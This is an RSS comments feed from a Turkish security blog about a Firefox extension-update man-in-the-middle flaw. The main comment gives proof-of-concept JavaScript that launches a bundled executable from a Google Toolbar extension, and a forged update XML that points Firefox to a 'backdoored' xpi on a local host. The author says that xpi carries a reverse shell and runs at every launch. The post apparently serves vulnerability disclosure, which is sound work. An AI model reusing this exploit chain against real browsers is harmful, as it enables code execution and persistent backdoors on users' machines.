<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
  <title>Firefox Hash - Yorumlar</title>
  <description>Ferruh Mavituna - Me, Myself and My Alter Ego...</description>
  <copyright>Ferruh Mavituna</copyright>
  <link>http://ferruh.mavituna.com</link>
  <lastBuildDate>Paz, 21 Mar 2010 02:01:55 +0200</lastBuildDate>
  <image>
    <title>Ferruh Mavituna</title>
    <link>http://ferruh.mavituna.com</link>
    <url>http://ferruh.mavituna.com/rss/rss.gif</url>
  </image>
  <item>
  <title>Ferruh Mavituna</title>
  <link>http://ferruh.mavituna.com/firefox-hash-oku/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 12 Şub 2008 15:38:21 +0200</pubDate>
  <description>           &lt;a href=&quot;http://archives.neohapsis.com/archives/fulldisclosure/2007-05/0535.html&quot;&gt;http://archives.neohapsis.com/archives/fulldisclosure/2007-05/0535.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Very good and detailed advisory,&lt;br /&gt;I came up with the same issue about one month ago and developed two PoCs.&lt;br /&gt;&lt;br /&gt;Here is the hash :&lt;a href=&quot;http://ferruh.mavituna.com/makale/firefox-hash/&quot;&gt;http://ferruh.mavituna.com/makale/firefox-hash/&lt;/a&gt; (shame on&lt;br /&gt;me that I haven't sent to any public mail-list. If you really curious check&lt;br /&gt;out RSS caches and google cache) and brief explanation is in the attachment&lt;br /&gt;(Firefox-MITM.txt).&lt;br /&gt;&lt;br /&gt;I attached Google Toolbar PoC. Be careful it's throwing a reverse shell also&lt;br /&gt;I got a PoC for Linux as well.&lt;br /&gt;&lt;br /&gt;To clarify things, you can execute arbitrary code with current user's&lt;br /&gt;rights.&lt;br /&gt;&lt;br /&gt;Here is a sample code,&lt;br /&gt;--------------------&lt;br /&gt;exepath = Components.classes[&amp;quot;mozilla.org/file/directory_service;1&amp;quot;].getService(&lt;br /&gt;Components.interfaces.nsIProperties).get(&amp;quot;ProfD&amp;quot;,&lt;br /&gt;Components.interfaces.nsIFile).path +&lt;br /&gt;&amp;quot;\\extensions\\{3112ca9c-de6d-4884-a869-9855de68056c}\\chrome\\svchost.exe&amp;quot;;&lt;br /&gt;    runFile(exepath);&lt;br /&gt;&lt;br /&gt;function runFile(f) {&lt;br /&gt;        var file = Components.classes[&amp;quot;mozilla.org/file/local;1&amp;quot;]&lt;br /&gt;                .createInstance(Components.interfaces.nsILocalFile);&lt;br /&gt;&lt;br /&gt;        file.initWithPath(f);&lt;br /&gt;&lt;br /&gt;        var process = Components.classes[&amp;quot;mozilla.org/process/util;1&amp;quot;]&lt;br /&gt;                .createInstance(Components.interfaces.nsIProcess);&lt;br /&gt;&lt;br /&gt;        process.init(file);&lt;br /&gt;&lt;br /&gt;        var args = [&amp;quot;&amp;quot;];&lt;br /&gt;        process.run(false, args, args.length);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;--------------------&lt;br /&gt;&lt;br /&gt;Sample update response XML,&lt;br /&gt;----------&lt;br /&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot;?&amp;gt;&amp;lt;RDF:RDF xmlns:RDF=&amp;quot;&lt;br /&gt;http://www.w3.org/1999/02/22-rdf-syntax-ns#&amp;quot; xmlns:em=&amp;quot;&lt;br /&gt;http://www.mozilla.org/2004/em-rdf#&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;RDF:Description&lt;br /&gt;about=&amp;quot;urn:mozilla:extension:{3112ca9c-de6d-4884-a869-9855de68056c}&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;em:updates&amp;gt;&amp;lt;RDF:Seq&amp;gt;&lt;br /&gt;&amp;lt;RDF:li&lt;br /&gt;resource=&amp;quot;urn:mozilla:extension:{3112ca9c-de6d-4884-a869-9855de68056c}:&lt;br /&gt;4.0.0.16&amp;quot;/&amp;gt;&lt;br /&gt;&amp;lt;/RDF:Seq&amp;gt;&amp;lt;/em:updates&amp;gt;&amp;lt;/RDF:Description&amp;gt;&lt;br /&gt;&amp;lt;RDF:Description&lt;br /&gt;about=&amp;quot;urn:mozilla:extension:{3112ca9c-de6d-4884-a869-9855de68056c}:4.0.0.16&lt;br /&gt;&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;em:version&amp;gt;4.0.0.16&amp;lt;/em:version&amp;gt;&lt;br /&gt;&amp;lt;em:targetApplication&amp;gt;&amp;lt;RDF:Description&amp;gt;&lt;br /&gt;&amp;lt;em:id&amp;gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&amp;lt;/em:id&amp;gt;&lt;br /&gt;&amp;lt;em:minVersion&amp;gt;1.5.0&amp;lt;/em:minVersion&amp;gt;&lt;br /&gt;&amp;lt;em:maxVersion&amp;gt;2.9.99&amp;lt;/em:maxVersion&amp;gt;&lt;br /&gt;&amp;lt;em:updateLink&amp;gt;http://192.168.1.130/firefox/google.xpi&amp;lt;/em:updateLink&amp;gt;&lt;br /&gt;&amp;lt;/RDF:Description&amp;gt;&amp;lt;/em:targetApplication&amp;gt;&amp;lt;/RDF:Description&amp;gt;&lt;br /&gt;&amp;lt;/RDF:RDF&amp;gt;&lt;br /&gt;----------&lt;br /&gt;This is our backdoored xpi file url :&lt;br /&gt;http://192.168.1.130/firefox/google.xpi&lt;br /&gt;I modified the google-toolbar.xul and added to run svchost.exe file which is&lt;br /&gt;in xpi file as well.&lt;br /&gt;&lt;br /&gt;Sample xpi file attached, modified version of google toolbar extension and&lt;br /&gt;it will work every time you launch Firefox.</description>
</item>
<item>
  <title>SW</title>
  <link>http://ferruh.mavituna.com/firefox-hash-oku/</link>
  <author>SW</author>
  <pubDate>Pzt, 21 May 2007 17:50:35 +0200</pubDate>
  <description>           ha s&amp;#246;yle ya; sadece firmanin kendisi kadar g&amp;#252;venliklerine dikkat etsen yeter&lt;img src=&quot;/mg/smilies/smile.gif&quot; width=&quot;21&quot; height=&quot;22&quot; alt=&quot;:)&quot; /&gt;</description>
</item>

</channel>
</rss>